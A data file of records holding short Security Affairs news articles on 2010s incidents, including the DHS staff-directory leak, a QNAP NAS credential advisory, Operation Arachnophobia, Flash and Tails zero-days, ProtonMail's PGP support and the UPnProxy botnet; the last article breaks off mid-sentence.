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850_19946 | , This undated handout image received 25 January, 2006 shows the National Security Agency(NSA) at Fort Meade, Maryland. The National Security Agency/Central Security Service is AmericaТs cryptologic organization. It coordinates, directs, and performs highly specialized activities to protect US government information systems and produce foreign signals intelligence information. |
3355_44320 | Yesterday, the data related a Department of Homeland Security (DHS) staff directory were leaked online, a Twitter account shared the link to an archive containing 9,355 names., The responsible for the data leakage first contacted Motherboard to share the precious archive., Each record of the DHS Staff Directory includes name, title, email address, and phone number., Going deep in the archive it is possible to note that it includes information of DHS security specialists, program analysts, InfoSec and IT and also 100 employees with a title “Intelligence”., The same Twitter account has announced later the imminent release of an additional data dump containing 20,000 FBI employees., , Are the records authentic?, Motherboard that obtained the archive reached the operations center of the FBI, and in one case the individual who pick up the phone presented himself with the same name associated with that number in the archive. A similar circumstance occurred with a DHS employee, Motherboard so confirmed that the information is legit., Which is the source of data?, According to Motherboard, a hacker accessed an employee’s email account at the Department of Justice. As proof, the hacker sent the email message to Motherboard’s contributor Joseph Cox directly from the compromised account., “A hacker, who wishes to remain anonymous, plans to dump the apparent names, job titles, email addresses and phone numbers of over 20,000 supposed Federal Bureau of Investigation (FBI) employees, as well as over 9,000 alleged Department of Homeland Security (DHS) employees, Motherboard has learned.” wrote Cox in a blog post., “The hacker also claims to have downloaded hundreds of gigabytes of data from a Department of Justice (DOJ) computer, although that data has not been published.”, The hacker first tried to use the compromised credentials to access a DOJ staff portal, but without success, then he called the department directly and obtained the access through social engineering techniques., The hacker accessed the DoJ intranet where the database is hosted, then he downloaded around the, out of 1TB that he had access to., “I HAD access to it, I couldn’t take all of the 1TB,” the hacker told to MotherBoard., The hackers confirmed his intention to release the rest of the data in the near future.Which is the motivation behind the attack?, It is not clear at the moment why the hacker released the archive, surely it’s not financially motivated. The hacker only left the following message when has leaked the data-, “This is for Palestine, Ramallah, West Bank, Gaza, This is for the child that is searching for an answer…” which are the verses of “Long Live Palestine”, The only certainty right now is that similar incidents are becoming too frequent, apparently the government staff is not properly trained on the main cyber threats or the hacking technique. Similar incidents show the lack of knowledge on the most basic security measures.
Whenever a hacker leaks so sensitive data, I think the number of his peers who had access to the same information with the intent to use them in other attacks or resell them, perhaps to a foreign government., Pierluigi Paganini, (Security Affairs – DHS, hacking) |
5016_57387 | Pasquale ‘sid’ Fiorillo from ISGroup (www.isgroup.biz), an Italian
Security Company, and Guido ‘go’ Oricchio of PCego (www.pcego.com), a
System Integrator, have just released a critical security advisory for
any version of QNAP NAS prior to 4.2.4 Build 20170313
( , QNAP Systems, founded in 2004, provides network attached storage (NAS)
and network video recorder (NVR) solutions for home and business use to
the global market.
QNAP also delivers a cloud service, called myQNAPcloud, that allows
users to access and manage devices from anywhere. QTS is a QNAP device proprietary firmware based on Linux., The issue involves all the QNAP NAS (all models and all versions) that are members of a Microsoft Active Directory and allows a local QTS admin user, or other low privileged user (such as “httpdusr” used to run web application) to access configuration file that includes a bad crypted Microsoft Domain Administrator password., The affected component is the “uLinux.conf” configuration file, created
with a world-readable permission used to store a Domain Administrator
password., This password is stored in the file obfuscated by a simple XOR cypher
and base64 encoded., “The vulnerability allows a local QTS admin user, or other low privileged user, to access configuration file that includes a bad crypted Microsoft Domain Administrator password if the NAS was joined to a Microsoft Active Directory domain.” reads the advisory. “The affected component is the “uLinux.conf” configuration file, created with a world-readable permission used to store a Domain Administrator password. Admin user can access the file using ssh that is enabled by default. Other users are not allowed to login, so they have to exploit a component, such as a web application, to run arbitrary command or arbitrary file read. Anyone is able to read uLinux.conf file, world readable by default, can escalate to Domain Administrator if a NAS is a domain member.”, Users are strongly advised to update their systems to the latest version released by the vendor
( The Official advisory is available at: Pierluigi Paganini, (Security Affairs – QNAP NAS, hacking) |
947_21235 | Companies and industries belonging in the energy sector are waiting most targeted sectors on a global scale, Symantec has issued a very interesting report titled “Targeted Attacks Against
the Energy Sector” that provide an overview of malicious event that hit the energy world., The number of cyber attacks is increasing every year, in the first half of 2013, the energy sector was the fifth most targeted sector worldwide, suffering 7.6% of all cyberattacks., “During the monitoring period from July 2012 to June 2013, we observed an average of 74 targeted attacks per day globally. Of these, nine attacks per day targeted the energy sector. Accounting for 16.3 percent of all attacks, the energy sector was the second most targeted vertical in the last six months of 2012, with only the government/public sector exceeding it with 25.4 percent of all attacks.” revealed Symantec., Security experts, private companies and government are aware of the cyber threat and fear a major incident could happen in the next months causing serious consequences. In April 2013, the US Department of Homeland Security alerted energy companies on ongoing spear-phishing campaign and of a rising tide of attacks aimed at sabotaging industrial processes., , , , The common sense of security is changed after the discovery of malware such as Stuxnet and Shamoon, experts in the energy sector have matured the sensitiveness that a cyber weapon could effects more dangerous that a bomb. Governments are spending a lot of effort in the improvement of cyber capabilities, this effort is transforming the cyber space in a warfare domain., Hackers who target the energy sector operate mainly to steal intellectual properties, but an attack could cause an intentional, or unintentional, incidents that could cause human losses., Intellectual property theft requires a long-term strategy of the attackers who modify their operational mode over the time to adapt the offensive to countermeasures adopted by the victims. The information stolen could be used to reduce the competitive gap with targeted industries, but it could be used also to perform further disruptive actions., Companies in the energy sector will face a growing risk of suffering cyber attacks, new developments, including further extensions of smart grids and smart metering expose the more infrastructure to the Internet., Be aware, also devices not connected to the Internet are at risk, there has already been a number of successful attacks against isolated systems!, If you want to go deeper … read the report., Pierluigi Paganini, (Security Affairs – Energy sector, cyber security) |
3223_43361 | According to a footage obtained by Sky News, the members of the Islamic State have sophisticated surface-to-air missiles in their arsenal. Members of the Islamic State are reportedly developing surface-to-air missiles that can be used in attacks against airliners and military jets flying over the controlled territories., The most disconcerting part of the revelation is related to the existence of a secret Research & Development lab in Syria that has also designed hi-tech car bombs. Journalists at Sky News obtained a video footage from the Free Syrian Army fighters that shows workshop equipped with sophisticated tool kits., Intelligence experts believe it is located in the Syrian town of Raqqa, the city considered the nerve center of the caliphate., IS has found a way to reuse old jet missiles. Watch a full, exclusive report at — Sky News (@SkyNews) 6 Gennaio 2016, , In the video appear several R&D team members of the Islamic State, the footage shows them while at work. The experts in the video show their high-tech arsenal, including a surface-to-air missile. The specific missile seems to be converted from that of a military jet, the militants of the Islamic state have managed to preserve the search function of the heat used by the missile to lock onto the target, this feature could allow terrorists to hit airliners and military jets., “The missile came from a fighter jet, it has heat-seeking warhead””The missile needs a thermal battery in order to work, this usually wears out and the weapon can’t be used, but Islamic State has found a way to create a new battery. This means old jet missiles could be used as surface-to-air missiles” states the footage., As explained in the video, the engineers at the Islamic State have designed a self-made thermal battery to use the missiles. The experts fear that thousand missiles could now be recommissioned.,
Why are Islamic State using mannequins in their car bombs? Watch the full report at — Sky News (@SkyNews) 6 Gennaio 2016
, , The footage provided to Sky News also shows a remote controlled car that can be used in the attacks without a driver. The video shows that the engineers of the Islamic State have designed “driver” mannequins with self-regulating thermostats. The mannequins use the thermostats to produce the heat signature of humans to deceive IR scanners used to a physical measure to protect potential target (i.e. embassies, government offices)., , The intelligence is extremely concerned by the media power of the footage which is recognized as a remarkable propaganda vehicle.
Thanks to movies like these, the Islamic state is able to recruit foreign fighters worldwide, especially in the West., Pierluigi Paganini, (Security Affairs – Islamic State, surface-to-air missiles) |
1415_27666 | Researchers from FireEye and ThreatConnect recently conducted a joint investigation on a series of targeted attacks that could be linked to the Pakistan., As explained by the experts the hacking campaign uncovered by experts is the demonstration that hackers based in Pakistan are evolving their activities form hacktivism to cyber espionage., The experts dubbed the campaign Operation Arachnophobia, a series of attacks begun in early 2013 that seems to have involved a Pakistani security firm., , Researchers detected a custom malware family dubbed Bitterbug used to compromise victims and stole sensitive information, although the researchers haven’t identified targeted organizations, the backdoor was detected on specially crafted documents related to Indian issues., Security experts know very well the Indian-based hackers in in the past conducted different cyber espionage operations on organization and private company in Pakistan, Operation Arachnophobia could be the response to those cyber attacks., “It was engineered to collect standard Office documents on your desktop,” “It was very close to Operation Hangover activity… for which India was purportedly responsible.” says Rich Barger, chief intelligence officer at ThreatConnect. , The experts discovered that bad actors behind Operation Arachnophobia have hosted the Bitterbug malware on pilfered US virtual private server to masquerade its origins, the investigator speculated that the Pakistani hosting provider VPSNOC has leased its command and control infrastructure from a US virtual private server provider to make the attacks appear to come from the US., “The threat actors utilized a hosting provider that is a Pakistani-based company with subleased VPS space within the U.S. for command and control (C2).” states the report., “It’s where the malware is hosted and used for command and control,” added Rich Barger. , Another relevant discovery made by experts is that the Bitterbug backdoor used by bad actors has only been observed hosted on and communicating with two IP addresses operated by the above Pakistan-based hosting provider., Why the experts speculated on the possible involvement of a Pakistani security firm?, Because Early variants of the BITTERBUG malware detected by the researchers included build paths containing the strings “Tranchulas” and “umairaziz27”, where Tranchulas is the name of a Pakistani security firm and Umair Aziz is one of its employees., “The ‘Tranchulas’ name was in a string” of the malware” confirmed says Mike Oppenheim, principal threat intelligence analyst at FireEye. Tranchulas was supposedly a security company with both defensive and offensive cyber capabilities., Once the experts revealed the details of the investigation, including their hypothesis of the involvement of the security firm, bad actors released a new variant with a modified their binary file paths to make them more generic., Another interesting discovery of analysts is that employees at both the Pakistan VPSNOC and Tranchulas share same network of contacts on social media, despite the Pakistani security firm denied the circumstance., “We know about Russia and China… India and Pakistan has room to grow and mature,” Barger says., , The confrontation in the fifth element of warfare, the cyberspace, is also influenced by new actors underestimated in the past which are increasing their cyber capabilities, let’s think to the Iran, the North Korea and the same Pakistan., Analysis of current political context cannot ignores them., further details on the Operation Arachnophobia campaign are included in the full report., Pierluigi Paganini, (Security Affairs – Pakistan, Operation Arachnophobia) |
7555_79112 | The best news of the week with Security Affairs., Let me inform you that my new book, “Digging in the Deep Web” is online with a special deal, Kindle Edition, Paper Copy, Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter),
|
3665_46719 | Who are we?, Garage4hackers is one of the oldest open information security community for Information Security enthusiast and aspirants on the internet. We started off as an Orkut Community “Hackers Garage” back in 2007 and today we have more than 6K members sharing knowledge across various fields of infosec., “Our mission is to spread Infosec education for free to the masses.”, , We connect newbies, security researchers, Experts, and evangelist. Every member of our community is highly interactive, approachable and ensures helping other information security aspirants by providing viable resources, spreading best security practices and promoting research-based activities., Knowledge sharing is unlimited among all our members and therefore we end up discussing on a wide range of Information Security topics which includes Vulnerability Assessment and Penetration Testing of Web Application, Mobile Application, Wireless and Bluetooth hacking, Computer Forensics and Incident Handling, Physical Security and Social Engineering, Cloud Security and sometimes, Meanest hack, Exploitation techniques, Browser fuzzing, Botnet, Malware and Root-kits Analysis, Reverse Engineering and much more., Some of our achievements., We are Family of around 6k+ users, 8k+ posts with more than 32k unique visitors on our forum. More than 20k viewers on YouTube from 20+ countries. Our core member had reported 40+ Best Bug Bounty to vendors including Google, Facebook, Yahoo and so on. 30+ CVE’s for web browsers such as Chrome, Internet Explorer, Firefox & Safari. We do Information Security research on unique areas such as Biometric Systems, Physical Locks, Cable TV Networks, Data-cards, Drones, Threat detection using Cloud-based Machine Learning Technology and so on. We believe in the open source culture and some of our core members had contributed towards the open source community, The project list follows :, We build our own tools and scripts for various testing techniques and vulnerability exploitation. We release them on our garage for free., Garage4hackers Initiatives., Ranchoddas Webcast Series., Ranchoddas webcast is dedicated to bringing together the best in Information Security Research and Infosec enthusiasts. Each of our webcast includes high-level industry speakers and researchers speaking on latest cutting edge topics. This initiative aims to provide knowledge and relevant advice which our viewers can take away and implement in the workplace for further personal development. Our webcasts are absolutely free and open to all. Our aim is to make knowledge free to use, reuse or redistribute without any restriction. Below are some of our webcast conducted in the past., Register now! for our upcoming webcast on Bypassing Modern WAF’s Exemplified At XSS by Rafay Baloch, Question & Answers portal., Your security audit issues! Having any problem understanding a malware or detecting it! or Vulnerability you are not able to understand or any type of security-related problems put it on the board for the discussion among like-minded professionals., Q&A portal for the open discussion and sharing of ideas and problems arising in accomplishing those ideas., Not only limited to this, This portal can help bridge the gap for the curious security professionals across the industry and provide them with an open discussion platform to seek solutions specific to their problems arising while performing any type of information security research., Join our Open Question and Answer community., Garage4hackers relief donation, Kashmir Flood Relief donation., In September 2014 Kashmir, India was hit by a severe flood. The death toll rose to 200+. Huge damage was done to the state. One of our Garage member Rashid Bhat is from Kashmir, India. We were able to raise Rs. 1 Lac from our Members. The money we had raised were used to buy Medicines, Blankets, Food and other emergency amenities. Rashid himself had gone to Kashmir with the aids. Garage4hackers had then started a new challenge for the hacker community wherein they would participate in bug bounty program and donate that money for relief program. We got an overwhelming response from the community., , Chennai Flood Relief donation., In December 2015 Chennai, India received heavy rainfall over a huge period of time resulted in a flood. Thousands of residents were fleeing out of the city. A lot of people had lost their home & means of livelihood. We were again successful in collecting relief funds. Garage4hackers member Eberly and Amol personally went to Chennai to deliver the relief materials collected., Join us in our mission to hack to secure and spread free Information Security knowledge across the globe., Facebook : Twitter : @garage4hackers, Youtube : Written by: Imdadullah Mohammed, Author Bio: Imdad is an Information Security Consultant, He is also a Moderator for Pune Chapter of Null – The open security community in India and Also member of Garage4hackers. A true open source and Information Security enthusiast. His core area of expertise includes Vulnerability Assessment and Penetration Testing of the Web application, Mobile application and Networks, as well as Server Hardening., , (Security Affairs – Garage4hackers, hacking) |
1894_33037 | It is the third time in a few weeks that the security of Adobe users is menaced by a zero-day in Flash that affects Windows, Linux and OS X systems., The company is already working to provide a patch as soon as possible, the company wants to fix the vulnerability that according to the experts is being exploited in drive-by download attacks., On Monday, Adobe has released a security advisory warning users that threat actors are exploiting a new vulnerability in Flash and announced that they’re planning to release a patch for the zero-day already this week. The vulnerability affects Flash on Windows, OS X and Linux. Also in this case the exploitation of the flaw could allow an attacker to take control of the targeted system., “A critical vulnerability (CVE-2015-0313) exists in Adobe Flash Player 16.0.0.296 and earlier versions for Windows and Macintosh. Successful exploitation could cause a crash and potentially allow an attacker to take control of the affected system. We are aware of reports that this vulnerability is being actively exploited in the wild via drive-by-download attacks against systems running Internet Explorer and Firefox on Windows 8.1 and below,” reports the advisory published by Adobe., At the end of January, the French security researcher Kafeine discovered an unpatched vulnerability (0day) in Flash Player was being exploited by Angler Exploit Kit. A few days later, the experts discovered a second zero-day vulnerability in Adobe Flash., , Adobe promptly released the security patches for both zero-day vulnerabilities. Also in this case, the zero-day in Flash reportedly is being used by the infamous Angler kit., Pierluigi Paganini, (Security Affairs – Flash zero-dat, Angler kit) |
3533_45622 | A couple of days after the US DoJ announced that three components of the Syrian Electronic Army were inserted by the FBI in the Most Wanted list, today the US authorities announced charges against seven Iranian nationals for hacking computer systems at banks and a dam in New York., , The Iranian hacker Hamid Firoozi, has been charged with hacking attacks on the Bowman Dam in New York, its computer systems were breached several times between August and September 2013., The attackers hacked a Windows XP machine at the Dam that was located by using the Shodan search engine. Andre McGregor, director of security at Tanium, explained that the hackers gained access to the XP machine by guessing its simple password (“666666”) with a brute-force attack., “At the time of his alleged intrusion, the dam was undergoing maintenance and had been disconnected from the system. But for that fact, that access would have given him the ability to control water levels and flow rates – an outcome that could have posed a clear danger to the public health and safety of Americans,” said Attorney General Loretta E. Lynch., The hackers managed a number of distributed denial-of-service (DDoS) attacks launched against 46 U.S. banks between 2011 and 2013., The investigators believe the seven men, which are still at large, are skilled hackers working for two security firms close to the Government of Teheran and the Islamic Revolutionary Guard Corps., The activity of Iranian hackers is increased in a significant way in the last couple of years, in December 2015 Symantec has uncovered the Cadelle and Chafer groups, two Iran-based hacker teams that were tracking dissidents and activists, in November 2015, Facebook first discovered spear phishing attacks of Iranian hackers on State Department employees, in December 2014 hackers used a Visual Basic malware to wipe out data of corporate systems at Las Vegas Sands Corp., Probably the most blatant operation conducted by Iranian hackers is the one that hit computer systems at the oil company Saudi Aramco., Security experts believe that Iranian Hackers will represent a serious threat, at least like Chinese and North Korean peers, because Teheran is spending a huge effort to improve its cyber capabilities, consider that Iran increased cyber-security spending 12-fold since 2013., Pierluigi Paganini, (Security Affairs – Iranian hackers, hacking) |
3754_47376 | As the gaming industry continues to become a more lucrative market, it has also increasingly become more attractive to cybercriminals., These cyber attackers are employing the same tactics used to hack online banks and retailers., The reader may recall late last year when Steam, one of the world’s largest online video game platforms, publicly admitted that 77,000 of its gamer accounts are hacked every month. It was the first time a major video game company acknowledged itself as a cybercrime target., Kaspersky Lab researcher Santiago Pontiroli launched an investigation into how many gamers are being exploited by cybercriminals. Pontiroli and his team uncovered the existence of a new type of malware developed specifically to hack Steam accounts. The “Steam Stealer,” is able to bypass the Steam client’s built-in multifactor authentication (MFA) protocols, which enables hackers to gain the access necessary to compromise the integrity of a player’s account., Cyber threats are significantly underreported, though the video game industry is, according to Dark Reading, “as big, if not bigger, than any industry in the world. Of the 1.2 billion video game players worldwide, nearly 700 million of them play online. For the video game industry, providing entertainment for one seventh of the world’s populace equates to revenues of more than $86.8 billion annually. This is nearly double the amount of the film industry, yet the Sony Pictures hack was covered for months. For financially motivated hackers, and fraudsters, there is perhaps no bigger opportunity to profit than the video game industry provides.”, Online video games are indeed vulnerable to attacks. Unfortunately, the video game industry is still largely in denial over the fact that it is a systemic problem. Dark Reading reports:, “In-video game attacks occur when a player’s account is hijacked using readily available malware that enables man-in-the-middle exploits, keylogging, remote access, and other hacks. Once inside, cyber criminals can steal player credentials, gain access to a player’s game account, transfer in-game assets to other accounts, and sell those assets on the ‘grey market,’ an unauthorized, but not necessarily illegal place that is used to sell virtual items and currency for real money.”, Additionally, the emergence of a ‘grey market’ is perhaps the most significant unintended consequence of video games moving online. The demand for virtual items is massive and many people strive to gain virtual items through regular game play and then sell them for real money. Known as ‘gold farming,’ it is so rampant and profitable that in a World Bank report it is estimated that it generates $3 billion a year for people in developing countries., Now, because the demand for virtual items is so high, gold farmers have automated their operations and are able to run hundreds or thousands of bots to speed up the accumulation process. This has flooded the online gaming economies and has caused publishers to lose as much as 40 percent of in-game revenue per month, not to mention the reputational damage done to the businesses., Video games are attractive targets for hackers longing for better scores, more money and notoriety. But, hackers are also fixated on game services., Companies in the Gaming industry may not appear to be a prime target for cybercriminals, but consider the fact that one of the biggest hacks of all time, of Sony’s PlayStation Network in 2011, resulted in 77 million account holder details being compromised. Twelve thousand credit card details were also leaked, and the company’s stock price crashed overnight., , Currently, the following are the most common ways attackers are targeting the businesses in the gaming industry and their users:, Currently, online video game cybersecurity is focused on protecting and monitoring the login and monetary transaction processes. Unfortunately, that’s the same plan used by banks–and anyone who has been watching the news knows how ineffective that strategy has been. It has cost the banking industry billions of dollars over time. Online gaming also depends on MFA to protect the login process, but this safeguard is no match for the widely available keylogging and screen-scrape technology. Then too, device reputation technology is vulnerable to man-in-the-middle hacks. And, rules-based security is deeply flawed., So, it is expected that large-scale attacks will continue to occur until the video game industry wakes up and begins tightening up on cybersecurity. Cyber criminals aren’t going to stop until they’re stopped., Written by: Sneacker , Author Bio: Sneacker is a writer who works in the information technology field. She is a member of GhostSec, a counterterrorism unit within the Anonymous collective, and participant in #OpISIS., Pierluigi Paganini, (Security Affairs – gaming industry, cybercrime) |
6978_74802 | Starting with the latest release of ProtonMail on web (v3.14), iOS and Android (v1.9), and the latest versions of the ProtonMail IMAP/SMTP Bridge, ProtonMail now supports Address Verification, along with full PGP interoperability and support. In this article, we’ll discuss these two new features in detail, and how they can dramatically improve email security and privacy., When ProtonMail first launched in 2014, our goal was to make email encryption ubiquitous by making it easy enough for anybody to use. This is no easy feat, and that’s probably why it had never been done before. Our guiding philosophy is that the most secure systems in the world don’t actually benefit society if nobody can use them, and because of this, we made a number of design decisions for the sake of better usability., One of these decisions was to make encryption key management automatic and invisible to the user. While this made it possible for millions of people around the world to start using encrypted email without any understanding of what an encryption key is, the resulting architecture required a certain level of trust in ProtonMail., While a certain level of trust is always necessary when you use online services, our goal is to minimize the amount of trust required so that a compromise of ProtonMail doesn’t lead to a compromise of user communications. This is the philosophy behind our use of end-to-end encryption and zero-access encryption, and it is also the philosophy behind Address Verification., Prior to the introduction of Address Verification, if ProtonMail was compromised, it would be possible to compromise user communications by sending to the user a fake public encryption key. This could cause email communications to be encrypted in a way that an attacker, holding the corresponding fake private key, could intercept and decrypt the messages (this is also known as a Man-in-the Middle attack, or MITM), despite the fact that the encryption takes place client side., Address Verification provides an elegant solution to this problem. We consider this to be an advanced security feature and probably not necessary for the casual user, but as there are journalists and activists using ProtonMail for highly sensitive communications, we have made adding Address Verification a priority., Address Verification works by leveraging the Encrypted Contacts feature that we released previously. Starting with the latest version of ProtonMail, when you receive a message from a ProtonMail contact, you now have the option (in the ProtonMail web app) to Trust Public Keys for this contact. Doing so saves the public key for this contact into the encrypted contacts, and as contacts data is not only encrypted, but also digitally signed, it is not possible to tamper with the public encryption key once it has been trusted., This means that when sending emails to this contact, it is no longer possible for a malicious third party (even ProtonMail) to trick you into using a malicious public key that is different from the one you have trusted. This allows for a much higher level of security between two parties than is possible with any other encrypted email service. You can learn more about using Address Verification in our knowledge base article., At the same time as Address Verification, we are also launching full support for PGP email encryption. As some of you may know, ProtonMail’s cryptography is already based upon PGP, and we maintain one of the world’s most widely used open source PGP libraries. PGP support is also an advanced feature that we don’t expect most users to use. If you need secure email, the easiest and most secure way to get it is still to get both you and your contact on ProtonMail, or if you are an enterprise, to migrate your business to ProtonMail., However, for the many out there who still use PGP, the launch of full PGP support will make your life a lot easier. First, any ProtonMail user can now send PGP encrypted emails to non-ProtonMail users by importing the PGP public keys of those contacts. Second, it is also possible to receive PGP email at your ProtonMail account from any other PGP user in the world. You can now export your public key and share it with them., Therefore, your ProtonMail account can in fact fully replace your existing PGP client. Instead of sharing your existing PGP public key, you can now share the PGP public key associated with your ProtonMail account and receive PGP encrypted emails directly in your ProtonMail account., If you are an existing PGP user and you would like to keep your existing custom email address (e.g. [email protected]), we’ve got you covered there, too. It is possible to move your email hosting to ProtonMail and import your existing PGP keys for your address, so you don’t need to share new keys and a new email address with your contacts., If you are using PGP for sensitive purposes, this might actually be preferable to continuing to use your existing PGP client. For one, PGP is fully integrated into ProtonMail, encryption/decryption is fully automated, and the new Address Verification feature is used to protect you against MITM attacks. More importantly though, ProtonMail is not susceptible to the eFail class of vulnerabilities, which have impacted many PGP clients, and our PGP implementations are being actively maintained., You can find more details about using PGP with ProtonMail here., Finally, we are formally launching a public key server to make key discovery easier than ever. If your contact is already using ProtonMail, then key discovery is automatic (and you can use Address Verification to make it even more secure if you want). But if a non-ProtonMail user (like a PGP user) wants to email you securely at your ProtonMail account, they need a way to discover your public encryption key. If they don’t get it from your public profile or website, they are generally out of luck., Our public key server solves this problem by providing a centralized place to look up the public key of any ProtonMail address (and non-ProtonMail addresses hosted at ProtonMail)., Our public key server can be found at hkps://api.protonmail.ch (!! This link is used for HKP requests and cannot be accessed with a browser. However, if you want to download the public key of a ProtonMail users, simply replace the “[email protected]” with the address you’re looking for and copy/paste the following link into your browser: Today, ProtonMail is the world’s most widely used email encryption system, and for most of our users the addition of Address Verification and PGP support will not change how you use ProtonMail. In particular, setting up PGP (generating encryption keys, sharing them, and getting your contacts to do the same) is simply too complicated, and it is far easier for most people to simply create a ProtonMail account and benefit from end-to-end encryption and zero-access encryption without worrying about details like key management., Still, launching PGP support is important to us. The beauty of email is that it is federated, meaning that anybody can implement it. It is not controlled by any single entity, it is not centralized, and there is not a single point of failure. While this does constrain email in many ways, it has also made email the most widespread and most successful communication system ever devised., PGP, because it is built on top of email, is therefore also a federated encryption system. Unlike other encrypted communications systems, such as Signal or Telegram, PGP doesn’t belong to anybody, there is no single central server, and you aren’t forced to use one service over another. We believe encrypted communications should be open and not a walled garden. ProtonMail is now interoperable with practically ANY other past, present, or future email system that supports the OpenPGP standard, and our implementation of this standard is also itself open source., , We still have a long way to go before we can make privacy accessible to everyone, and in the coming months and years we will be releasing many more features and products to make this possible. If you would like to support our mission, you can always donate or upgrade to a paid plan., About the Author: The ProtonMail Team, You can read the ProtonMail press release here., Pierluigi Paganini, (Security Affairs – ProtonMail, privacy) |
2554_38725 | Researchers at Rook Security have released a free tool, called Milano, that is able to detect the presence of HackingTeam malware on target systems. The experts have also published a set of indicators of compromise that could help organizations to recognize the RCS infection., Rook has been working with the FBI’s Cyber Task Force in Indianapolis to detect the HackingTeam tools and exploits as explained by the CEO J.J. Thompson., “This breach has been very unique in nature and challenging for security technology vendors to obtain code samples to create signatures and patches, thereby leaving scores of systems potentially vulnerable to nefarious actors seeking to weaponize Hacking Team’s once proprietary tools,” explained J.J. Thompson. “After our Intelligence Team quickly deduced how the leaked code could be weaponized and used for harm, we immediately put a team in place to identify, analyze, and detect malicious files located in this data.”, We have written a lot about the Remote Control System and the surveillance network managed by the Italian Hacking Team and used by Intelligence and Law enforcement worldwide., , The Milano tool developed by the Rook security company runs a malware scan in two different modes, quick and deep scan. The quick scan takes a few seconds, meanwhile a deep search of the RCS malware and can take up to an hour depending upon the system., Rook has been working with the FBI’s Cyber Task Force in Indianapolis to analyze the HackingTeam tools and exploits, as well. According to Tom Gorup, security operations manager at Rook, this is just the first version of the Milano tool that will evolve as more information on Hacking Team arsenal is discovered., “Right now there’s about ninety files that it looks for, but that will go up as we go along,” Gorup said., The security community is mobilizing after the leakage of Hacking Team material online, Facebook for example has released an update for the Oquery tool, the new release is also able to detect the OS X backdoor used by the HackingTeam software., “Attackers continue to develop and deploy Mac OS X backdoors. We’ve seen this with Flashback, IceFog, Careto, Adwind/Unrecom, and most recently, HackingTeam. The OS X-attacks pack has queries that identify known variants of malware, ranging from advanced persistent threats (APT) to adware and spyware. If a query in this pack produces results, it means a host in your Mac fleet is compromised with malware. This pack is high signal and should result in close to zero false positives,” wrote Javier Marcos de Prado of Facebook in a blog post., While security experts are analyzing the HackingTeam tools and exploits, the company announced that it will return soon, company executives they are working to a totally new version of the RCS., “This is a total replacement for the existing ‘Galileo’ system, not simply an update,” HackingTeam COO David Vincenzetti said. “Of course, it will include new elements to protect systems and data considering the impact of the attack against HackingTeam.”, Pierluigi Paganini, (Security Affairs – Mitano Tool, Hacking Team) |
1354_26917 | A researcher at Exodus Intelligence has discovered critical zero-day vulnerabilities in the popular Tails live operating system. Tails is considered by security experts an indispensable tool to preserve the privacy and security of users that intend to avoid surveillance and censorship., The flaws in the Linux-based operating system Tails could be used by an attacker to reveal users’ identity according to the expert. Tails includes a suite of privacy applications and is designed to ensure users’ privacy while surfing through Tor network., According to the researcher, the presence of critical flaws in Tails could be exploited by bad actors and law enforcements to de-anonymize Tor users and execute code remotely., The researcher initially hasn’t provided the details about the vulnerabilities, the company just informed its followers through Twitter of the disconcerting discovery., The firm didn’t plan to release the details of the exploit until the Tails development team will not fix them, but anyway, it said it would release details about the zero-day flaws in a series of blog posts next week., But while I’m writing Exodus Intelligence revealed that the flaw lies in the I2P software that is included in the Tails distro and the company has released some details and a video demonstrating the exploitation of the vulnerability., ““The vulnerability we will be disclosing is specific to I2P. I2P currently boasts about 30,000 active peers. Since I2P has been bundled with Tails since version 0.7, Tails is by far the most widely adopted I2P usage. The I2P vulnerability works on default, fully patched installation of Tails. No settings or configurations need to be changed for the exploit to work,” the Exodus team wrote in a post explaining a bit about the flaw.”, “Our main goal…was to bring attention to the fact that no software is infallible and those seeking anonymity should not blindly trust a software recommendation (even if it is from Snowden),” said Aaron Portnoy, co-founder and vice president of Exodus., Today a new version of the OS has been released, Tails 1.1, but experts at Exodus warned with a tweet that despite the distribution has been updated, also its latest version is still vulnerable to the zero-day attacks., , On the other side the development team of Tails declared that it is unaware of the zero-day vulnerabilities, “We were not contacted by Exodus Intel prior to their tweet. In fact, a more irritated version of this text was ready when we finally received an email from them. They informed us that they would provide us with a report within a week. We’re told they won’t disclose these vulnerabilities publicly before we have corrected it, and Tails users have had a chance to upgrade. We think that this is the right process to responsibly disclose vulnerabilities, and we’re really looking forward to read this report.” is reported in the post published by the Tails dev team., Tails team also confirmed that it will deploy some extra features to improve the security of the operating system and protect users’s privacy., “Being fully aware of this kind of threat, we’re continuously working on improving Tails’ security in depth. Among other tasks, we’re working on a tight integration of AppArmor in Tails, kernel and web browser hardening as well as sandboxing, just to name a few examples.” the Tails team added., The discovery Exodus researcher is the confirmation that any software could be potentially affected by a flaw … and every flaw could be exploited by your enemies., Pierluigi Paganini, Security Affairs – (Tails, privacy) |
7488_78605 | In April, Akamai reported that threat actors compromised 65,000 home routers by exploiting vulnerabilities in Universal Plug’N’Play (UPnP), experts tracked the botnet as UPnProxy. Now the company provided an update to its initial analysis revealing a disconcerting scenario, UPnProxy is still up and running., The UPnP communication protocol is widely adopted even if it is known to be vulnerable. In early 2013, researchers at Rapid7 published an interesting whitepaper entitled “Security Flaws in Universal Plug and Play” that evaluated the global exposure of UPnP-enabled network devices., The report highlighted that over 23 million IPs related to Portable UPnP SDK were vulnerable to remote code execution just through a single UDP packet, over 6,900 product versions from over 1,500 vendors were vulnerable through UPnP due to the exposure of UPnP SOAP service to the internet., Abusing the protocol attackers can control the traffic in and out the networks, UPnP allows the automated negotiation and configuration of port opening/forwarding within a NATed networking environment., The malicious botnet uncovered by Akamai is composed of vulnerable devices including malicious NAT injections, it turns routers into proxies, for this reason, the experts called the injected devices UPnProxy., Experts recommend users to install routers update and patched firmware to mitigate the threat. According to Akamai, many UPnP vulnerabilities are still unpatched, the experts found that out of a pool of 3.5 million potentially vulnerable routers, 277,000 were still open to UPnProxy, and 45,000 have been compromised., “In Akamai’s previous research, we highlighted the possibility that attackers could leverage UPnProxy to exploit systems living behind the compromised router. Unfortunately, data from this recent batch of injections suggests this is exactly what’s happening.” Akamai notes. , “For home users, these attacks can lead to a number of complications, such as degraded service, malware infections, ransomware, and fraud. But for business users, these recent developments could mean systems that were never supposed to exist on the internet in the first place, could now be living there unknowingly, greatly increasing their chances of being compromised. Even more concerning, the services being exposed by this particular campaign have a history of exploitation related to crippling worms and ransomware campaigns targeting both Windows and Linux platforms.”, The latest campaign observed by Akamai tracked as EternalSilence, is targeting millions of machines living behind the vulnerable routers by leveraging the EternalBlue and EternalRed (CVE-2017-7494) exploits., “Taking current disclosures and 